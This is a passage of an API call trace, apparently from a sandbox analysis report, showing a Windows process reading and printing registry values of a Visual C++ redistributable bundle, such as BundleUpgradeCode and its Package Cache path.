0x204bb0 [0150.772] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.772] _errno () returned 0x204bb0 [0150.772] GetFileType (hFile=0x50) returned 0x1 [0150.772] lstrlenW (lpString="REG_SZ") returned 6 [0150.772] GetConsoleOutputCP () returned 0x1b5 [0150.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.772] GetConsoleOutputCP () returned 0x1b5 [0150.772] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.772] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.772] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.773] __iob_func () returned 0x7fefd702a80 [0150.773] _fileno (_File=0x7fefd702ab0) returned 1 [0150.773] _errno () returned 0x204bb0 [0150.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.773] _errno () returned 0x204bb0 [0150.773] GetFileType (hFile=0x50) returned 0x1 [0150.773] lstrlenW (lpString=" ") returned 4 [0150.773] GetConsoleOutputCP () returned 0x1b5 [0150.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.773] GetConsoleOutputCP () returned 0x1b5 [0150.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.773] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.773] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.773] __iob_func () returned 0x7fefd702a80 [0150.773] _fileno (_File=0x7fefd702ab0) returned 1 [0150.773] _errno () returned 0x204bb0 [0150.773] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.773] _errno () returned 0x204bb0 [0150.773] GetFileType (hFile=0x50) returned 0x1 [0150.773] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0150.773] GetConsoleOutputCP () returned 0x1b5 [0150.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", cchWideChar=85, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 85 [0150.773] GetConsoleOutputCP () returned 0x1b5 [0150.773] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", cchWideChar=85, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe", lpUsedDefaultChar=0x0) returned 85 [0150.774] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 85 [0150.774] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.774] __iob_func () returned 0x7fefd702a80 [0150.774] _fileno (_File=0x7fefd702ab0) returned 1 [0150.774] _errno () returned 0x204bb0 [0150.774] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.774] _errno () returned 0x204bb0 [0150.774] GetFileType (hFile=0x50) returned 0x1 [0150.774] lstrlenW (lpString="\n") returned 1 [0150.774] GetConsoleOutputCP () returned 0x1b5 [0150.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.774] GetConsoleOutputCP () returned 0x1b5 [0150.774] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.774] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.774] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.774] GetProcessHeap () returned 0x3c0000 [0150.774] GetProcessHeap () returned 0x3c0000 [0150.774] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.774] GetProcessHeap () returned 0x3c0000 [0150.774] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xb0 [0150.774] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.774] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleUpgradeCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.774] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x54) returned 0x0 [0150.774] GetProcessHeap () returned 0x3c0000 [0150.774] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x56) returned 0x3db830 [0150.774] GetProcessHeap () returned 0x3c0000 [0150.774] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.775] GetProcessHeap () returned 0x3c0000 [0150.775] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0150.775] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleUpgradeCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x54 | out: pdwType=0x29f700*=0x7, pvData=0x3db830*, pcbData=0x29f780*=0x50) returned 0x0 [0150.775] __iob_func () returned 0x7fefd702a80 [0150.775] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.775] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.775] _fileno (_File=0x7fefd702ab0) returned 1 [0150.775] _errno () returned 0x204bb0 [0150.775] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.775] _errno () returned 0x204bb0 [0150.775] GetFileType (hFile=0x50) returned 0x1 [0150.775] lstrlenW (lpString=" ") returned 4 [0150.775] GetConsoleOutputCP () returned 0x1b5 [0150.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.775] GetConsoleOutputCP () returned 0x1b5 [0150.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.775] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.775] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.775] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0150.775] __iob_func () returned 0x7fefd702a80 [0150.775] _fileno (_File=0x7fefd702ab0) returned 1 [0150.775] _errno () returned 0x204bb0 [0150.775] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.775] _errno () returned 0x204bb0 [0150.775] GetFileType (hFile=0x50) returned 0x1 [0150.775] lstrlenW (lpString="BundleUpgradeCode") returned 17 [0150.775] GetConsoleOutputCP () returned 0x1b5 [0150.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.776] GetConsoleOutputCP () returned 0x1b5 [0150.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleUpgradeCode", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleUpgradeCode", lpUsedDefaultChar=0x0) returned 17 [0150.776] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.776] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.776] __iob_func () returned 0x7fefd702a80 [0150.776] _fileno (_File=0x7fefd702ab0) returned 1 [0150.776] _errno () returned 0x204bb0 [0150.776] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.776] _errno () returned 0x204bb0 [0150.776] GetFileType (hFile=0x50) returned 0x1 [0150.776] lstrlenW (lpString=" ") returned 4 [0150.776] GetConsoleOutputCP () returned 0x1b5 [0150.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.776] GetConsoleOutputCP () returned 0x1b5 [0150.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.776] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.776] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.776] __iob_func () returned 0x7fefd702a80 [0150.776] _fileno (_File=0x7fefd702ab0) returned 1 [0150.776] _errno () returned 0x204bb0 [0150.776] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.776] _errno () returned 0x204bb0 [0150.776] GetFileType (hFile=0x50) returned 0x1 [0150.776] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.777] GetConsoleOutputCP () returned 0x1b5 [0150.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.777] GetConsoleOutputCP () returned 0x1b5 [0150.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.777] __iob_func () returned 0x7fefd702a80 [0150.777] _fileno (_File=0x7fefd702ab0) returned 1 [0150.777] _errno () returned 0x204bb0 [0150.777] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.777] _errno () returned 0x204bb0 [0150.777] GetFileType (hFile=0x50) returned 0x1 [0150.777] lstrlenW (lpString=" ") returned 4 [0150.777] GetConsoleOutputCP () returned 0x1b5 [0150.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.777] GetConsoleOutputCP () returned 0x1b5 [0150.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.777] __iob_func () returned 0x7fefd702a80 [0150.777] _fileno (_File=0x7fefd702ab0) returned 1 [0150.778] _errno () returned 0x204bb0 [0150.778] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.778] _errno () returned 0x204bb0 [0150.778] GetFileType (hFile=0x50) returned 0x1 [0150.778] lstrlenW (lpString="{C146EF48-4D31-3C3D-A2C5-1E91AF8A0A9B}") returned 38 [0150.778] GetConsoleOutputCP () returned 0x1b5 [0150.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{C146EF48-4D31-3C3D-A2C5-1E91AF8A0A9B}", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0150.778] GetConsoleOutputCP () returned 0x1b5 [0150.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="{C146EF48-4D31-3C3D-A2C5-1E91AF8A0A9B}", cchWideChar=38, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{C146EF48-4D31-3C3D-A2C5-1E91AF8A0A9B}", lpUsedDefaultChar=0x0) returned 38 [0150.778] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 38 [0150.778] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.778] lstrlenW (lpString="{C146EF48-4D31-3C3D-A2C5-1E91AF8A0A9B}") returned 38 [0150.778] __iob_func () returned 0x7fefd702a80 [0150.778] _fileno (_File=0x7fefd702ab0) returned 1 [0150.778] _errno () returned 0x204bb0 [0150.778] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.778] _errno () returned 0x204bb0 [0150.778] GetFileType (hFile=0x50) returned 0x1 [0150.778] lstrlenW (lpString="\n") returned 1 [0150.778] GetConsoleOutputCP () returned 0x1b5 [0150.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.778] GetConsoleOutputCP () returned 0x1b5 [0150.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.779] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.779] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.779] GetProcessHeap () returned 0x3c0000 [0150.779] GetProcessHeap () returned 0x3c0000 [0150.779] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0150.779] GetProcessHeap () returned 0x3c0000 [0150.779] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x56 [0150.779] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830 | out: hHeap=0x3c0000) returned 1 [0150.779] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleAddonCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.779] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.779] GetProcessHeap () returned 0x3c0000 [0150.779] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.779] GetProcessHeap () returned 0x3c0000 [0150.779] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.779] GetProcessHeap () returned 0x3c0000 [0150.779] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.779] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleAddonCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.779] __iob_func () returned 0x7fefd702a80 [0150.779] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.779] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.779] _fileno (_File=0x7fefd702ab0) returned 1 [0150.779] _errno () returned 0x204bb0 [0150.779] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.779] _errno () returned 0x204bb0 [0150.779] GetFileType (hFile=0x50) returned 0x1 [0150.779] lstrlenW (lpString=" ") returned 4 [0150.779] GetConsoleOutputCP () returned 0x1b5 [0150.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.780] GetConsoleOutputCP () returned 0x1b5 [0150.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.780] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.780] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.780] lstrlenW (lpString="BundleAddonCode") returned 15 [0150.780] __iob_func () returned 0x7fefd702a80 [0150.780] _fileno (_File=0x7fefd702ab0) returned 1 [0150.780] _errno () returned 0x204bb0 [0150.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.780] _errno () returned 0x204bb0 [0150.780] GetFileType (hFile=0x50) returned 0x1 [0150.780] lstrlenW (lpString="BundleAddonCode") returned 15 [0150.780] GetConsoleOutputCP () returned 0x1b5 [0150.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0150.780] GetConsoleOutputCP () returned 0x1b5 [0150.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleAddonCode", lpUsedDefaultChar=0x0) returned 15 [0150.780] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0150.780] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.780] __iob_func () returned 0x7fefd702a80 [0150.780] _fileno (_File=0x7fefd702ab0) returned 1 [0150.780] _errno () returned 0x204bb0 [0150.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.780] _errno () returned 0x204bb0 [0150.780] GetFileType (hFile=0x50) returned 0x1 [0150.780] lstrlenW (lpString=" ") returned 4 [0150.781] GetConsoleOutputCP () returned 0x1b5 [0150.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.781] GetConsoleOutputCP () returned 0x1b5 [0150.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.781] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.781] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.781] __iob_func () returned 0x7fefd702a80 [0150.781] _fileno (_File=0x7fefd702ab0) returned 1 [0150.781] _errno () returned 0x204bb0 [0150.781] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.781] _errno () returned 0x204bb0 [0150.781] GetFileType (hFile=0x50) returned 0x1 [0150.781] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0150.781] GetConsoleOutputCP () returned 0x1b5 [0150.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0150.781] GetConsoleOutputCP () returned 0x1b5 [0150.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0150.784] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0150.784] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.784] __iob_func () returned 0x7fefd702a80 [0150.784] _fileno (_File=0x7fefd702ab0) returned 1 [0150.784] _errno () returned 0x204bb0 [0150.784] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.784] _errno () returned 0x204bb0 [0150.784] GetFileType (hFile=0x50) returned 0x1 [0150.784] lstrlenW (lpString=" ") returned 4 [0150.784] GetConsoleOutputCP () returned 0x1b5 [0150.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.784] GetConsoleOutputCP () returned 0x1b5 [0150.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.784] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.784] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.784] __iob_func () returned 0x7fefd702a80 [0150.784] _fileno (_File=0x7fefd702ab0) returned 1 [0150.784] _errno () returned 0x204bb0 [0150.784] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.784] _errno () returned 0x204bb0 [0150.784] GetFileType (hFile=0x50) returned 0x1 [0150.784] lstrlenW (lpString="\n") returned 1 [0150.785] GetConsoleOutputCP () returned 0x1b5 [0150.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.785] GetConsoleOutputCP () returned 0x1b5 [0150.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.785] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.785] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.785] GetProcessHeap () returned 0x3c0000 [0150.785] GetProcessHeap () returned 0x3c0000 [0150.785] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.785] GetProcessHeap () returned 0x3c0000 [0150.785] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.785] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.785] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleDetectCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.785] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.785] GetProcessHeap () returned 0x3c0000 [0150.785] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.785] GetProcessHeap () returned 0x3c0000 [0150.785] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.785] GetProcessHeap () returned 0x3c0000 [0150.785] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.785] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0150.785] __iob_func () returned 0x7fefd702a80 [0150.785] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.785] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.785] _fileno (_File=0x7fefd702ab0) returned 1 [0150.785] _errno () returned 0x204bb0 [0150.785] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.786] _errno () returned 0x204bb0 [0150.786] GetFileType (hFile=0x50) returned 0x1 [0150.786] lstrlenW (lpString=" ") returned 4 [0150.786] GetConsoleOutputCP () returned 0x1b5 [0150.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, 